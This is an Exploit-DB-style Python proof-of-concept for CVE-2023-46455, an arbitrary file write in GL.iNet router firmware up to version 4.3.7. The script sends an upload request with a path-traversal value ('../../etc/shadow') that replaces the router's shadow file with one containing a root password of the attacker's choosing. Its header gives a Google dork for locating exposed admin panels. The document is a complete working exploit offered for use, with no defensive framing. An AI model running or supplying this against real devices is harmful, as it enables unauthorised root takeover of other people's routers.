#!/usr/bin/env python3 # Exploit Title: GL.iNet <= 4.3.7 Arbitrary File Write # Google Dork: intitle:"GL.iNet Admin Panel" # Date: XX/11/2023 # Exploit Author: Michele 'cyberaz0r' Di Bonaventura # Vendor Homepage: https://www.gli-net.com # Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar # Version: 4.3.7 # Tested on: GL.iNet AR300M # CVE: CVE-2023-46455 import crypt import requests from sys import argv requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def craft_shadow_file(salted_password): shadow_content = 'root:{}:19459:0:99999:7:::\n'.format(salted_password) shadow_content += 'daemon:*:0:0:99999:7:::\n' shadow_content += 'ftp:*:0:0:99999:7:::\n' shadow_content += 'network:*:0:0:99999:7:::\n' shadow_content += 'nobody:*:0:0:99999:7:::\n' shadow_content += 'dnsmasq:x:0:0:99999:7:::\n' shadow_content += 'stubby:x:0:0:99999:7:::\n' shadow_content += 'ntp:x:0:0:99999:7::\n' shadow_content += 'mosquitto:x:0:0:99999:7::\n' shadow_content += 'logd:x:0:0:99999:7::\n' shadow_content += 'ubus:x:0:0:99999:7::\n' return shadow_content def replace_shadow_file(url, auth_token, shadow_content): data = { 'sid': (None, auth_token), 'size': (None, '4'), 'path': (None, '/tmp/ovpn_upload/../../etc/shadow'), 'file': ('shadow', shadow_content) } requests.post(url, files=data, verify=False) def main(base_url, auth_token): print('[+] Started GL.iNet <= 4.3.7 Arbitrary File Write exploit') password = input('[?] New password for root user: ') salted_password = crypt.crypt(password, salt=crypt.METHOD_MD5) shadow_content = craft_shadow_file(salted_password) print('[+] Crafted shadow file:\n{}'.format(shadow_content)) print('[*] Replacing shadow file with the crafted one') replace_shadow_file(base_url+'/upload', auth_token, shadow_content) print('[+] Done') if __name__ == '__main__': if len(argv) < 3: print('Usage: {} '.format(argv[0])) exit(1) main(argv[1], argv[2])